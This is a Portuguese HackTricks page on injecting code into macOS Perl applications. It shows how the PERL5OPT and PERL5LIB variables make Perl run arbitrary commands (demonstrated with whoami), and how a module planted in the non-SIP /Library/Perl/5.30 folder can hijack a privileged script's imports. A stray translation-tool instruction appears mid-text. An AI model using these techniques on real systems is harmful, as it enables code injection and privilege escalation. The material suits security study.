macOS Perl Applications Injection

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Através das variáveis de ambiente PERL5OPT e PERL5LIB

Usando a variável de ambiente PERL5OPT, é possível fazer o perl executar comandos arbitrários. Por exemplo, crie este script:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Agora exporte a variável de ambiente e execute o script perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Outra opção é criar um módulo Perl (por exemplo, /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

E então use as variáveis de ambiente:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Através de dependências

É possível listar a ordem da pasta de dependências do Perl em execução:

perl -e 'print join("\n", @INC)'

O seguinte é o conteúdo de um livro sobre técnicas de hacking. O conteúdo a seguir é do arquivo macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md. Traduza o texto em inglês relevante para o português e retorne a tradução mantendo exatamente a mesma sintaxe markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags markdown. Além disso, não adicione nada extra além da tradução e da sintaxe markdown.

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Algumas das pastas retornadas nem mesmo existem, no entanto, /Library/Perl/5.30 existe, não é protegida pelo SIP e está antes das pastas protegidas pelo SIP. Portanto, alguém poderia abusar dessa pasta para adicionar dependências de script nela, para que um script Perl de alto privilégio as carregue.

No entanto, observe que você precisa ser root para escrever nessa pasta e hoje em dia você receberá este prompt TCC:

Por exemplo, se um script estiver importando use File::Basename; seria possível criar /Library/Perl/5.30/File/Basename.pm para executar código arbitrário.

Referências

Last updated